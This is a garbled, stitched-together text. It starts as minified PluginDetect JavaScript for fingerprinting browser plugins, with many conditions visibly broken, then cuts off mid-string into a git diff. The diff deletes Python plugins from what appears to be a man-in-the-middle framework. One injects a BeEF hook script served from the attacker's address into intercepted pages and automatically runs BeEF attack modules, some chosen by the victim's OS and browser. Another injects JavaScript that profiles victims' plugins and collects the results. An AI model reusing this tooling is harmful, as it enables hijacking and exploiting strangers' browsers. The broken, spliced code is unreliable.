RegExp("^(.*[^\\/])("+t+"\\s*)$");if(PluginDetect.isString(q)&&r.test(q)){p=(RegExp.$1).split("/");s={name:p[p.length-1],ext:RegExp.$2,full:q};p[p.length-1]="";s.path=p.join("/")}return s}},Plugins:{}};PluginDetect.init.library();var i={setPluginStatus:function(q,p,s){var r=this;r.version=p?PluginDetect.formatNum(p,3):null;r.installed=r.version?1:(s?(s>0?0.7:-0.1):(q?0:-1));r.getVersionDone=r.installed==0.7||r.installed==-0.1||r.nav.done===0?0:1;},getVersion:function(s,t){var u=this,p=null,r=0,q;t=PluginDetect.browser.isIE?0:t;if((!r||PluginDetect.dbug)&&u.nav.query(t).installed){r=1}if((!p||PluginDetect.dbug)&&u.nav.query(t).version){p=u.nav.version}q=!p?u.codebase.isMin(s):0;if(q){u.setPluginStatus(0,0,q);return}if(!p||PluginDetect.dbug){q=u.codebase.search();if(q){r=1;p=q}}if((!r||PluginDetect.dbug)&&u.axo.query().installed){r=1}if((!p||PluginDetect.dbug)&&u.axo.query().version){p=u.axo.version}u.setPluginStatus(r,p)},nav:{done:null,installed:0,version:null,result:[0,0],mimeType:["video/quicktime","application/x-quicktimeplayer","image/x-macpaint","image/x-quicktime","application/x-rtsp","application/x-sdp","application/sdp","audio/vnd.qcelp","video/sd-video","audio/mpeg","video/mp4","video/3gpp2","application/x-mpeg","audio/x-m4b","audio/x-aac","video/flc"],find:"QuickTime.*Plug-?in",find2:"QuickTime.*Plug-?in",find3filename:"QuickTime|QT",avoid:"Totem|VLC|RealPlayer|Helix|MPlayer|Windows\\s*Media\\s*Player",plugins:"QuickTime Plug-in",detect:function(s){var t=this,r,q,p={installed:0,version:null,plugin:null};r=PluginDetect.pd.findNavPlugin({find:t.find,find2:s?0:t.find2,avoid:s?0:t.avoid,mimes:t.mimeType,plugins:t.plugins});if(r){p.plugin=r;p.installed=1;q=new RegExp(t.find,"i");if(r.name&&q.test(r.name+"")){p.version=PluginDetect.getNum(r.name+"")}}return p},query:function(r){var q=this,t,s;r=r?1:0;if(q.done===null){if(PluginDetect.hasMimeType(q.mimeType)){s=q.detect(1);if(s.installed){t=q.detect(0);q.result=[t,t.installed?t:s]}var x=q.result[0],v=q.result[1],w=new RegExp(q.avoid,"i"),u=new RegExp(q.find3filename,"i"),p;x=x?x.plugin:0;v=v?v.plugin:0;if(!x&&v&&v.name&&(!v.description||(/^[\s]*$/).test(v.description+""))&&!w.test(v.name+"")){p=(v.filename||"")+"";if((/^.*[\\\/]([^\\\/]*)$/).test(p)){p=RegExp.$1;}if(p&&u.test(p)&&!w.test(p)){q.result[0]=q.result[1]}}}q.done=q.result[0]===q.result[1]?1:0;}if(q.result[r]){q.installed=q.result[r].installed;q.version=q.result[r].version}return q}},codebase:{classID:"clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B",isMin:function(r){var s=this,q,p=0;s.$$=i;if(PluginDetect.isStrNum(r)){q=r.split(PluginDetect.splitNumRegx);if(q.length>3&&parseInt(q[3],10)>0){q[3]="9999"}r=q.join(",");p=PluginDetect.codebase.isMin(s,r)}return p},search:function(){this.$$=i;return PluginDetect.codebase.search(this)},DIGITMAX:[[12,11,11],[7,60],[7,11,11],0,[7,11,11]],DIGITMIN:[5,0,0,0],Upper:["999","7,60","7,50","7,6","7,5"],Lower:["7,60","7,50","7,6","7,5","0"],convert:[1,function(r,q){return q?[r[0],r[1]+r[2],r[3],"0"]:[r[0],r[1].charAt(0),r[1].charAt(1),r[2]]},1,0,1]},axo:{hasRun:0,installed:0,version:null,progID:["QuickTimeCheckObject.QuickTimeCheck","QuickTimeCheckObject.QuickTimeCheck.1"],progID0:"QuickTime.QuickTime",query:function(){var r=this,t,p,q,s=r.hasRun||!PluginDetect.browser.ActiveXEnabled;r.hasRun=1;if(s){return r}for(p=0;p0?0.7:-0.1):(v?1:(p?-0.2:-1))}if(t.OTF==2&&t.NOTF&&!t.applet.getResult()[0]){t.installed=p?-0.2:-1}if(t.OTF==3&&t.installed!=-0.5&&t.installed!=0.5){t.installed=(t.NOTF.isJavaActive(1)>=1?0.5:-0.5)}if(t.OTF==4&&(t.installed==-0.5||t.installed==0.5)){if(v){t.installed=1}else{if(q){t.installed=q>0?0.7:-0.1}else{if(t.NOTF.isJavaActive(1)>=1){if(p){t.installed=1;v=p}else{t.installed=0}}else{if(p){t.installed=-0.2}else{t.installed=-1}}}}}if(p){t.version0=PluginDetect.formatNum(PluginDetect.getNum(p))}if(v&&!q){t.version=PluginDetect.formatNum(PluginDetect.getNum(v))}if(w&&PluginDetect.isString(w)){t.vendor=w}if(!t.vendor){t.vendor=""}if(t.verify&&t.verify.isEnabled()){t.getVersionDone=0}else{if(t.getVersionDone!=1){if(t.OTF<2){t.getVersionDone=0}else{t.getVersionDone=t.applet.can_Insert_Query_Any()?0:1}}}},DTK:{hasRun:0,status:null,VERSIONS:[],version:"",HTML:null,Plugin2Status:null,classID:["clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA","clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"],mimeType:["application/java-deployment-toolkit","application/npruntime-scriptable-plugin;DeploymentToolkit"],isDisabled:function(p){var q=this;if(q.HTML){return 1}if(p||PluginDetect.dbug){return 0}if(q.hasRun||!PluginDetect.DOM.isEnabled.objectTagUsingActiveX()){return 1}return 0},query:function(B){var z=this,t=a,A,v,p=PluginDetect.DOM.altHTML,u={},q,s=null,w=null,r=z.isDisabled(B);z.hasRun=1;if(r){return z}z.status=0;if(PluginDetect.DOM.isEnabled.objectTagUsingActiveX()){for(A=0;A0?1:-1;for(A=0;A0){p.version=q;p.mimeObj=s;p.pluginObj=r;p.mimetype=s.type;}}},query:function(){var t=this,s=a,w,v,B,A,z,r,q=navigator.mimeTypes,p=t.isDisabled();t.hasRun=1;if(p){return t}r=q.length;if(PluginDetect.isNum(r)){for(w=0;w=5){p="1,"+RegExp.$1+","+(RegExp.$2?RegExp.$2:"0")+","+(RegExp.$3?RegExp.$3:"0");}return p},getPluginNum:function(){var s=this,q=a,p=0,u,t,r,w,v=0;r=/Java[^\d]*Plug-in/i;w=PluginDetect.pd.findNavPlugin({find:r,num:1,mimes:q.mimeType,plugins:1,dbug:v});if(w){u=s.checkPluginNum(w.description,r);t=s.checkPluginNum(w.name,r);p=u&&t?(PluginDetect.compareNums(u,t)>0?u:t):(u||t)}if(!p){r=/Java.*\d.*Plug-in/i;w=PluginDetect.pd.findNavPlugin({find:r,mimes:q.mimeType,plugins:1,dbug:v});if(w){u=s.checkPluginNum(w.description,r);t=s.checkPluginNum(w.name,r);p=u&&t?(PluginDetect.compareNums(u,t)>0?u:t):(u||t)}}return p},checkPluginNum:function(s,r){var p,q;p=r.test(s)?PluginDetect.formatNum(PluginDetect.getNum(s)):0;if(p&&PluginDetect.compareNums(p,PluginDetect.formatNum("10"))>=0){q=p.split(PluginDetect.splitNumRegx);p=PluginDetect.formatNum("1,"+(parseInt(q[0],10)-3)+",0,"+q[1])}if(p&&(PluginDetect.compareNums(p,PluginDetect.formatNum("1,3"))<0||PluginDetect.compareNums(p,PluginDetect.formatNum("2"))>=0)){p=0}return p},query:function(){var t=this,s=a,r,p=0,q=t.hasRun||!s.navigator.mimeObj;t.hasRun=1;if(q){return t}if(!p||PluginDetect.dbug){r=t.getPlatformNum();if(r){p=r}}if(!p||PluginDetect.dbug){r=t.getPluginNum();if(r){p=r}}if(p){t.version=PluginDetect.formatNum(p)}return t}},applet:{codebase:{isMin:function(p){this.$$=a;return PluginDetect.codebase.isMin(this,p)},search:function(){this.$$=a;return PluginDetect.codebase.search(this)},DIGITMAX:[[15,128],[6,0,512],0,[1,5,2,256],0,[1,4,1,1],[1,4,0,64],[1,3,2,32]],DIGITMIN:[1,0,0,0],Upper:["999","10","5,0,20","1,5,0,20","1,4,1,20","1,4,1,2","1,4,1","1,4"],Lower:["10","5,0,20","1,5,0,20","1,4,1,20","1,4,1,2","1,4,1","1,4","0"],convert:[function(r,q){return q?[parseInt(r[0],10)>1?"99":parseInt(r[1],10)+3+"",r[3],"0","0"]:["1",parseInt(r[0],10)-3+"","0",r[1]]},function(r,q){return q?[r[1],r[2],r[3]+"0","0"]:["1",r[0],r[1],r[2].substring(0,r[2].length-1||1)]},0,function(r,q){return q?[r[0],r[1],r[2],r[3]+"0"]:[r[0],r[1],r[2],r[3].substring(0,r[3].length-1||1)]},0,1,function(r,q){return q?[r[0],r[1],r[2],r[3]+"0"]:[r[0],r[1],r[2],r[3].substring(0,r[3].length-1||1)]},1]},results:[[null,null],[null,null],[null,null],[null,null]],getResult:function(){var q=this,s=q.results,p,r=[];for(p=s.length-1;p>=0;p--){r=s[p];if(r[0]){break}}r=[].concat(r);return r},DummySpanTagHTML:0,HTML:[0,0,0,0],active:[0,0,0,0],DummyObjTagHTML:0,DummyObjTagHTML2:0,allowed:[1,1,1,1],VerifyTagsHas:function(q){var r=this,p;for(p=0;pp-1&&PluginDetect.isNum(r[p-1])){if(r[p-1]<0){r[p-1]=0}if(r[p-1]>3){r[p-1]=3}q.allowed[p]=r[p-1]}}q.allowed[0]=q.allowed[3];}},setVerifyTagsArray:function(r){var q=this,p=a;if(p.getVersionDone===null){q.saveAsVerifyTagsArray(p.getVerifyTagsDefault())}if(PluginDetect.dbug){q.saveAsVerifyTagsArray([3,3,3])}else{if(r){q.saveAsVerifyTagsArray(r)}}},isDisabled:{single:function(q){var p=this;if(p.all()){return 1}if(q==1){return !PluginDetect.DOM.isEnabled.objectTag()}if(q==2){return p.AppletTag()}if(q===0){return PluginDetect.codebase.isDisabled()}if(q==3){return !PluginDetect.DOM.isEnabled.objectTagUsingActiveX()}return 1},all_:null,all:function(){var r=this,t=a,q=t.navigator,p,s=PluginDetect.browser;if(r.all_===null){if((s.isOpera&&PluginDetect.compareNums(s.verOpera,"13,0,0,0")<0&&!q.javaEnabled())||(r.AppletTag()&&!PluginDetect.DOM.isEnabled.objectTag())||(!q.mimeObj&&!s.isIE)){p=1}else{p=0}r.all_=p}return r.all_},AppletTag:function(){var q=a,p=q.navigator;return PluginDetect.browser.isIE?!p.javaEnabled():0},VerifyTagsDefault_1:function(){var q=PluginDetect.browser,p=1;if(q.isIE&&!q.ActiveXEnabled){p=0}if((q.isIE&&q.verIE<9)||(q.verGecko&&PluginDetect.compareNums(q.verGecko,PluginDetect.formatNum("2"))<0)||(q.isSafari&&(!q.verSafari||PluginDetect.compareNums(q.verSafari,PluginDetect.formatNum("4"))<0))||(q.isOpera&&PluginDetect.compareNums(q.verOpera,PluginDetect.formatNum("11"))<0)){p=0}return p}},can_Insert_Query:function(s){var q=this,r=q.results[0][0],p=q.getResult()[0];if(q.HTML[s]||(s===0&&r!==null&&!q.isRange(r))||(s===0&&p&&!q.isRange(p))){return 0}return !q.isDisabled.single(s)},can_Insert_Query_Any:function(){var q=this,p;for(p=0;p0||!r.isRange(p));if(!r.can_Insert_Query(s)||t[s]===0){return 0}if(t[s]==3||(t[s]==2.8&&!p)){return 1}if(!q.nonAppletDetectionOk(q.version0)){if(t[s]==2||(t[s]==1&&!p)){return 1}}return 0},should_Insert_Query_Any:function(){var q=this,p;for(p=0;p]/).test(p||"")?(p.charAt(0)==">"?1:-1):0},setRange:function(q,p){return(q?(q>0?">":"<"):"")+(PluginDetect.isString(p)?p:"")},insertJavaTag:function(z,w,p,s,D){var t=a,v="A.class",A=PluginDetect.file.getValid(t),y=A.name+A.ext,x=A.path;var u=["archive",y,"code",v],E=(s?["width",s]:[]).concat(D?["height",D]:[]),r=["mayscript","true"],C=["scriptable","true","codebase_lookup","false"].concat(r),B=t.navigator,q=!PluginDetect.browser.isIE&&B.mimeObj&&B.mimeObj.type?B.mimeObj.type:t.mimeType[0];if(z==1){return PluginDetect.browser.isIE?PluginDetect.DOM.insert("object",["type",q].concat(E),["codebase",x].concat(u).concat(C),p,t,0,w):PluginDetect.DOM.insert("object",["type",q].concat(E),["codebase",x].concat(u).concat(C),p,t,0,w)}if(z==2){return PluginDetect.browser.isIE?PluginDetect.DOM.insert("applet",["alt",p].concat(r).concat(u).concat(E),["codebase",x].concat(C),p,t,0,w):PluginDetect.DOM.insert("applet",["codebase",x,"alt",p].concat(r).concat(u).concat(E),[].concat(C),p,t,0,w)}if(z==3){return PluginDetect.browser.isIE?PluginDetect.DOM.insert("object",["classid",t.classID].concat(E),["codebase",x].concat(u).concat(C),p,t,0,w):PluginDetect.DOM.insert()}if(z==4){return PluginDetect.DOM.insert("embed",["codebase",x].concat(u).concat(["type",q]).concat(C).concat(E),[],p,t,0,w)}return PluginDetect.DOM.insert()},insertIframe:function(p){return PluginDetect.DOM.iframe.insert(99,p)},insert_Query_Any:function(w){var q=this,r=a,y=PluginDetect.DOM,u=q.results,x=q.HTML,p=y.altHTML,t,s,v=PluginDetect.file.getValid(r);if(q.should_Insert_Query(0)){if(r.OTF<2){r.OTF=2}u[0]=[0,0];t=w?q.codebase.isMin(w):q.codebase.search();if(t){u[0][0]=w?q.setRange(t,w):t}q.active[0]=t?1.5:-1}if(!v){return q.getResult()}if(!q.DummySpanTagHTML){s=q.insertIframe("applet.DummySpanTagHTML");q.DummySpanTagHTML=y.insert("",[],[],p,0,0,s);y.iframe.close(s)}if(q.should_Insert_Query(1)){if(r.OTF<2){r.OTF=2}s=q.insertIframe("applet.HTML[1]");x[1]=q.insertJavaTag(1,s,p);y.iframe.close(s);u[1]=[0,0];q.query(1)}if(q.should_Insert_Query(2)){if(r.OTF<2){r.OTF=2}s=q.insertIframe("applet.HTML[2]");x[2]=q.insertJavaTag(2,s,p);y.iframe.close(s);u[2]=[0,0];q.query(2)}if(q.should_Insert_Query(3)){if(r.OTF<2){r.OTF=2}s=q.insertIframe("applet.HTML[3]");x[3]=q.insertJavaTag(3,s,p);y.iframe.close(s);u[3]=[0,0];q.query(3)}if(y.isEnabled.objectTag()){if(!q.DummyObjTagHTML&&(x[1]||x[2])){s=q.insertIframe("applet.DummyObjTagHTML");q.DummyObjTagHTML=y.insert("object",["type",r.mimeType_dummy],[],p,0,0,s);y.iframe.close(s)}if(!q.DummyObjTagHTML2&&x[3]){s=q.insertIframe("applet.DummyObjTagHTML2");q.DummyObjTagHTML2=y.insert("object",["classid",r.classID_dummy],[],p,0,0,s);y.iframe.close(s)}}r.NOTF.init();return q.getResult()}},NOTF:{count:0,count2:0,countMax:25,intervalLength:250,init:function(){var q=this,p=a;if(p.OTF<3&&q.shouldContinueQuery()){p.OTF=3;PluginDetect.ev.setTimeout(q.onIntervalQuery,q.intervalLength);}},allHTMLloaded:function(){var r=a.applet,q,p=[r.DummySpanTagHTML,r.DummyObjTagHTML,r.DummyObjTagHTML2].concat(r.HTML);for(q=0;q2){return p}}else{t.count2=t.count}for(q=0;q=2||(r.allowed[q]==1&&!r.getResult()[0]))&&(!t.count||t.isAppletActive(q)>=0)){p=1}}}return p},isJavaActive:function(s){var u=this,r=a,p,q,t=-9;for(p=0;pt){t=q}}return t},isAppletActive:function(t,u){var v=this,q=a,A=q.navigator,p=q.applet,w=p.HTML[t],s=p.active,z,r=0,y,B=s[t];if(u||B>=1.5||!w||!w.span()){return B}y=PluginDetect.DOM.getTagStatus(w,p.DummySpanTagHTML,p.DummyObjTagHTML,p.DummyObjTagHTML2,v.count);for(z=0;z0){r=1}}if(y!=1){B=y}else{if(PluginDetect.browser.isIE||(q.version0&&A.javaEnabled()&&A.mimeObj&&(w.tagName=="object"||r))){B=1}else{B=0}}s[t]=B;return B},onIntervalQuery:function(){var q=a.NOTF,p;q.count++;if(a.OTF==3){p=q.queryAllApplets();if(!q.shouldContinueQuery()){q.queryCompleted(p)}}if(a.OTF==3){PluginDetect.ev.setTimeout(q.onIntervalQuery,q.intervalLength)}},queryAllApplets:function(){var t=this,s=a,r=s.applet,q,p;for(q=0;q=4){return}q.OTF=4;r.isJavaActive();q.setPluginStatus(p[0],p[1],0);PluginDetect.ev.callArray(q.DoneHndlrs);}}};PluginDetect.addPlugin("java",a);var m={getVersion:function(){var r=this,p=null,q;if((!q||PluginDetect.dbug)&&r.nav.query().installed){q=1}if((!p||PluginDetect.dbug)&&r.nav.query().version){p=r.nav.version}if((!q||PluginDetect.dbug)&&r.axo.query().installed){q=1}if((!p||PluginDetect.dbug)&&r.axo.query().version){p=r.axo.version}r.installed=p?1:(q?0:-1);r.version=PluginDetect.formatNum(p)},nav:{hasRun:0,installed:0,version:null,mimeType:"application/x-devalvrx",query:function(){var s=this,p,r,q=s.hasRun||!PluginDetect.hasMimeType(s.mimeType);s.hasRun=1;if(q){return s}r=PluginDetect.pd.findNavPlugin({find:"DevalVR.*Plug-?in",mimes:s.mimeType,plugins:"DevalVR 3D Plugin"});if(r&&(/Plug-?in(.*)/i).test(r.description||"")){p=PluginDetect.getNum(RegExp.$1)}if(r){s.installed=1}if(p){s.version=p}return s}},axo:{hasRun:0,installed:0,version:null,progID:["DevalVRXCtrl.DevalVRXCtrl","DevalVRXCtrl.DevalVRXCtrl.1"],classID:"clsid:5D2CF9D0-113A-476B-986F-288B54571614",query:function(){var s=this,v=m,q,p,u,r,t=s.hasRun;s.hasRun=1;if(t){return s}for(p=0;p=30226){p[0]="2"}q=p.join(",")}if(q){t.version=q}return t}},axo:{hasRun:0,installed:0,version:null,progID:"AgControl.AgControl",maxdigit:[20,10,10,100,100,10],mindigit:[0,0,0,0,0,0],IsVersionSupported:function(s,q){var p=this;try{return p.testVersion?PluginDetect.compareNums(PluginDetect.formatNum(p.testVersion.join(",")),PluginDetect.formatNum(q.join(",")))>=0:s.IsVersionSupported(p.format(q))}catch(r){}return 0},format:function(q){var p=this;return(q[0]+"."+q[1]+"."+q[2]+p.make2digits(q[3])+p.make2digits(q[4])+"."+q[5])},make2digits:function(p){return(p<10?"0":"")+p+""},query:function(){var r=this,q,v,s=r.hasRun;r.hasRun=1;if(s){return r}v=PluginDetect.getAXO(r.progID);if(v){r.installed=1}if(v&&r.IsVersionSupported(v,r.mindigit)){var p=[].concat(r.mindigit),u,t=0;for(q=0;q1&&u<20){u++;t++;p[q]=Math.round((r.maxdigit[q]+r.mindigit[q])/2);if(r.IsVersionSupported(v,p)){r.mindigit[q]=p[q]}else{r.maxdigit[q]=p[q]}}p[q]=r.mindigit[q]}r.version=r.format(p);}return r}}};PluginDetect.addPlugin("silverlight",h);var f={compareNums:function(s,r){var A=s.split(PluginDetect.splitNumRegx),y=r.split(PluginDetect.splitNumRegx),w,q,p,v,u,z;for(w=0;w0)?RegExp.$2.charCodeAt(0):-1;z=/([\d]+)([a-z]?)/.test(y[w]);p=parseInt(RegExp.$1,10);u=(w==2&&RegExp.$2.length>0)?RegExp.$2.charCodeAt(0):-1;if(q!=p){return(q>p?1:-1)}if(w==2&&v!=u){return(v>u?1:-1)}}return 0},setPluginStatus:function(r,p,s){var q=this;q.installed=p?1:(s?(s>0?0.7:-0.1):(r?0:-1));if(p){q.version=PluginDetect.formatNum(p)}q.getVersionDone=q.installed==0.7||q.installed==-0.1?0:1;},getVersion:function(s){var t=this,r,p=null,q;if((!r||PluginDetect.dbug)&&t.nav.query().installed){r=1}if((!p||PluginDetect.dbug)&&t.nav.query().version){p=t.nav.version}if((!r||PluginDetect.dbug)&&t.axo.query().installed){r=1}if((!p||PluginDetect.dbug)&&t.axo.query().version){p=t.axo.version}if(!p||PluginDetect.dbug){q=t.codebase.isMin(s);if(q){t.setPluginStatus(0,0,q);return}}if(!p||PluginDetect.dbug){q=t.codebase.search();if(q){r=1;p=q}}t.setPluginStatus(r,p,0)},nav:{hasRun:0,installed:0,version:null,mimeType:["application/x-vlc-plugin","application/x-google-vlc-plugin","application/mpeg4-muxcodetable","application/x-matroska","application/xspf+xml","video/divx","video/webm","video/x-mpeg","video/x-msvideo","video/ogg","audio/x-flac","audio/amr","audio/amr"],find:"VLC.*Plug-?in",find2:"VLC|VideoLAN",avoid:"Totem|Helix",plugins:["VLC Web Plugin","VLC Multimedia Plug-in","VLC Multimedia Plugin","VLC multimedia plugin"],query:function(){var s=this,p,r,q=s.hasRun||!PluginDetect.hasMimeType(s.mimeType);s.hasRun=1;if(q){return s}r=PluginDetect.pd.findNavPlugin({find:s.find,avoid:s.avoid,mimes:s.mimeType,plugins:s.plugins});if(r){s.installed=1;if(r.description){p=PluginDetect.getNum(r.description+"","[\\d][\\d\\.]*[a-z]*")}if(p){s.version=p}}return s}},axo:{hasRun:0,installed:0,version:null,progID:"VideoLAN.VLCPlugin",query:function(){var q=this,s,p,r=q.hasRun;q.hasRun=1;if(r){return q}s=PluginDetect.getAXO(q.progID);if(s){q.installed=1;p=PluginDetect.getNum(PluginDetect.pd.getPROP(s,"VersionInfo"),"[\\d][\\d\\.]*[a-z]*");if(p){q.version=p}}return q}},codebase:{classID:"clsid:9BE31822-FDAD-461B-AD51-BE1D1C159921",isMin:function(p){this.$$=f;return PluginDetect.codebase.isMin(this,p)},search:function(){this.$$=f;return PluginDetect.codebase.search(this)},DIGITMAX:[[11,11,16]],DIGITMIN:[0,0,0,0],Upper:["999"],Lower:["0"],convert:[1]}};PluginDetect.addPlugin("vlc",f);var c={OTF:null,setPluginStatus:function(){var p=this,B=p.OTF,v=p.nav.detected,x=p.nav.version,z=p.nav.precision,C=z,u=x,s=v>0;var H=p.axo.detected,r=p.axo.version,w=p.axo.precision,D=p.doc.detected,G=p.doc.version,t=p.doc.precision,E=p.doc2.detected,F=p.doc2.version,y=p.doc2.precision;u=F||u||r||G;C=y||C||w||t;s=E>0||s||H>0||D>0;u=u||null;p.version=PluginDetect.formatNum(u);p.precision=C;var q=-1;if(B==3){q=p.version?0.5:-0.5}else{if(u){q=1}else{if(s){q=0}else{if(H==-0.5||D==-0.5){q=-0.15}else{if(PluginDetect.browser.isIE&&(!PluginDetect.browser.ActiveXEnabled||PluginDetect.browser.ActiveXFilteringEnabled)){q=-1.5}}}}}p.installed=q;if(p.getVersionDone!=1){var A=1;if((p.verify&&p.verify.isEnabled())||p.installed==0.5||p.installed==-0.5){A=0}else{if(p.doc2.isDisabled()==1){A=0}}p.getVersionDone=A}},getVersion:function(s,r){var p=this,q=0,t=p.verify;if(p.getVersionDone===null){p.OTF=0;if(t){t.init()}}PluginDetect.file.save(p,".pdf",r);if(p.getVersionDone===0){p.doc2.insertHTMLQuery();p.setPluginStatus();return}if((!q||PluginDetect.dbug)&&p.nav.query().version){q=1}if((!q||PluginDetect.dbug)&&p.axo.query().version){q=1}if((!q||PluginDetect.dbug)&&p.doc.query().version){q=1}if(1){p.doc2.insertHTMLQuery()}p.setPluginStatus()},getPrecision:function(v,u,t){if(PluginDetect.isString(v)){u=u||"";t=t||"";var q,s="\\d+",r="[\\.]",p=[s,s,s,s];for(q=4;q>0;q--){if((new RegExp(u+p.slice(0,q).join(r)+t)).test(v)){return q}}}return 0},nav:{detected:0,version:null,precision:0,mimeType:["application/pdf","application/vnd.adobe.pdfxml"],find:"Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in",plugins:["Adobe Acrobat","Adobe Acrobat and Reader Plug-in","Adobe Reader Plugin"],query:function(){var r=this,q,p=null;if(r.detected||!PluginDetect.hasMimeType(r.mimeType)){return r}q=PluginDetect.pd.findNavPlugin({find:r.find,mimes:r.mimeType,plugins:r.plugins});r.detected=q?1:-1;if(q){p=PluginDetect.getNum(q.description)||PluginDetect.getNum(q.name);p=PluginDetect.getPluginFileVersion(q,p);if(!p){p=r.attempt3()}if(p){r.version=p;r.precision=c.getPrecision(p)}}return r},attempt3:function(){var p=null;if(PluginDetect.OS==1){if(PluginDetect.hasMimeType("application/vnd.adobe.pdfxml")){p="9"}else{if(PluginDetect.hasMimeType("application/vnd.adobe.x-mars")){p="8"}else{if(PluginDetect.hasMimeType("application/vnd.adobe.xfdf")){p="6"}}}}return p}},activexQuery:function(w){var u="",t,q,s,r,p={precision:0,version:null};try{if(w){u=w.GetVersions()+"";}}catch(v){}if(u&&PluginDetect.isString(u)){t=/\=\s*[\d\.]+/g;r=u.match(t);if(r){for(q=0;q0)){p.version=s}}p.precision=c.getPrecision(u,"\\=\\s*")}}return p},axo:{detected:0,version:null,precision:0,progID:["AcroPDF.PDF","AcroPDF.PDF.1","PDF.PdfCtrl","PDF.PdfCtrl.5","PDF.PdfCtrl.1"],progID_dummy:"AcroDUMMY.DUMMY",query:function(){var t=this,q=c,u,v,s,r,p,w;if(t.detected){return t}t.detected=-1;v=PluginDetect.getAXO(t.progID_dummy);if(!v){w=PluginDetect.errObj}for(p=0;p0||w?1:(q==-0.1||q==-0.5?-0.5:-1);if(w){y.version=w}if(t){y.precision=t}return y}},doc2:{detected:0,version:null,precision:0,classID:"clsid:CA8A9780-280D-11CF-A24D-444553540000",mimeType:"application/pdf",HTML:0,count:0,count2:0,time2:0,intervalLength:50,maxCount:150,isDisabled:function(){var r=this,v=c,u=v.axo,p=v.nav,x=v.doc,w,t,q=0,s;if(r.HTML){q=2}else{if(PluginDetect.dbug){}else{if(!PluginDetect.DOM.isEnabled.objectTagUsingActiveX()){q=2}else{w=(p?p.version:0)||(u?u.version:0)||(x?x.version:0)||0;t=(p?p.precision:0)||(u?u.precision:0)||(x?x.precision:0)||0;if(!w||!t||t>2||PluginDetect.compareNums(PluginDetect.formatNum(w),PluginDetect.formatNum("11"))<0){q=2}}}}if(q<2){s=PluginDetect.file.getValid(v);if(!s||!s.full){q=1}}return q},handlerSet:0,onMessage:function(){var p=this;return function(q){if(p.version){return}p.detected=1;if(PluginDetect.isArray(q)){q=q[0]}q=PluginDetect.getNum(q+"");if(q){if(!(/[.,_]/).test(q)){q+="."}q+="00000";if((/^(\d+)[.,_](\d)(\d\d)(\d\d)/).test(q)){q=RegExp.$1+","+RegExp.$2+","+RegExp.$3+","+RegExp.$4}p.version=PluginDetect.formatNum(q);p.precision=3;c.setPluginStatus()}}},isDefinedMsgHandler:function(q,r){try{return q?q.messageHandler!==r:0}catch(p){}return 1},queryObject:function(){var r=this,s=r.HTML,q=s?s.obj():0;if(!q){return}if(!r.handlerSet&&r.isDefinedMsgHandler(q)){try{q.messageHandler={onMessage:r.onMessage()}}catch(p){}r.handlerSet=1;r.count2=r.count;r.time2=(new Date()).getTime()}if(!r.detected){if(r.count>3&&!r.handlerSet){r.detected=-1}else{if(r.time2&&r.count-r.count2>=r.maxCount&&(new Date()).getTime()-r.time2>=r.intervalLength*r.maxCount){r.detected=-0.5}}}if(r.detected){if(r.detected!=-1){}}},insertHTMLQuery:function(){var u=this,p=c,r=PluginDetect.DOM.altHTML,q,s,t=0;if(u.isDisabled()){return u}if(p.OTF<2){p.OTF=2}q=PluginDetect.file.getValid(p).full;s=PluginDetect.DOM.iframe.insert(0,"Adobe Reader");PluginDetect.DOM.iframe.write(s,'' % (self.ip_address, beefconfig['beefport']) - - beef = beefapi.BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']}) - if beef.login(beefconfig['user'], beefconfig['pass']): - print "[*] Successfully logged in to BeEF" - else: - sys.exit("[-] Error logging in to BeEF!") - - print "[*] BeEFAutorun plugin online => Mode: %s" % self.Mode - t = threading.Thread(name="autorun", target=self.autorun, args=(beef,)) - t.setDaemon(True) - t.start() - - def autorun(self, beef): - already_ran = [] - already_hooked = [] - - while True: - sessions = beef.sessions_online() - if (sessions is not None and len(sessions) > 0): - for session in sessions: - - if session not in already_hooked: - info = beef.hook_info(session) - logging.info("%s >> joined the horde! [id:%s, type:%s-%s, os:%s]" % (info['ip'], info['id'], info['name'], info['version'], info['os'])) - already_hooked.append(session) - self.black_ips.append(str(info['ip'])) - - if self.Mode == 'oneshot': - if session not in already_ran: - self.execModules(session, beef) - already_ran.append(session) - - elif self.Mode == 'loop': - self.execModules(session, beef) - sleep(10) - - else: - sleep(1) - - def execModules(self, session, beef): - session_info = beef.hook_info(session) - session_ip = session_info['ip'] - hook_browser = session_info['name'] - hook_os = session_info['os'] - - if len(self.All_modules) > 0: - logging.info("%s >> sending generic modules" % session_ip) - for module, options in self.All_modules.items(): - mod_id = beef.module_id(module) - resp = beef.module_run(session, mod_id, json.loads(options)) - if resp["success"] == 'true': - logging.info('%s >> sent module %s' % (session_ip, mod_id)) - else: - logging.info('%s >> ERROR sending module %s' % (session_ip, mod_id)) - sleep(0.5) - - logging.info("%s >> sending targeted modules" % session_ip) - for os in self.Targeted_modules: - if (os in hook_os) or (os == hook_os): - browsers = self.Targeted_modules[os] - if len(browsers) > 0: - for browser in browsers: - if browser == hook_browser: - modules = self.Targeted_modules[os][browser] - if len(modules) > 0: - for module, options in modules.items(): - mod_id = beef.module_id(module) - resp = beef.module_run(session, mod_id, json.loads(options)) - if resp["success"] == 'true': - logging.info('%s >> sent module %s' % (session_ip, mod_id)) - else: - logging.info('%s >> ERROR sending module %s' % (session_ip, mod_id)) - sleep(0.5) diff --git a/plugins/BrowserProfiler.py b/plugins/BrowserProfiler.py deleted file mode 100644 index 536c563..0000000 --- a/plugins/BrowserProfiler.py +++ /dev/null @@ -1,107 +0,0 @@ -from plugins.plugin import Plugin -from plugins.Inject import Inject -from pprint import pformat -import logging - - -class BrowserProfiler(Inject, Plugin): - name = "Browser Profiler" - optname = "browserprofiler" - desc = "Attempts to enumerate all browser plugins of connected clients" - implements = ["handleResponse", "handleHeader", "connectionMade", "sendPostData"] - has_opts = False - - def initialize(self, options): - Inject.initialize(self, options) - self.html_payload = self.get_payload() - self.dic_output = {} # so other plugins can access the results - print "[*] Browser Profiler online" - - def post2dict(self, post): #converts the ajax post to a dic - dict = {} - for line in post.split('&'): - t = line.split('=') - dict[t[0]] = t[1] - return dict - - def sendPostData(self, request): - #Handle the plugin output - if 'clientprfl' in request.uri: - self.dic_output = self.post2dict(request.postData) - self.dic_output['ip'] = 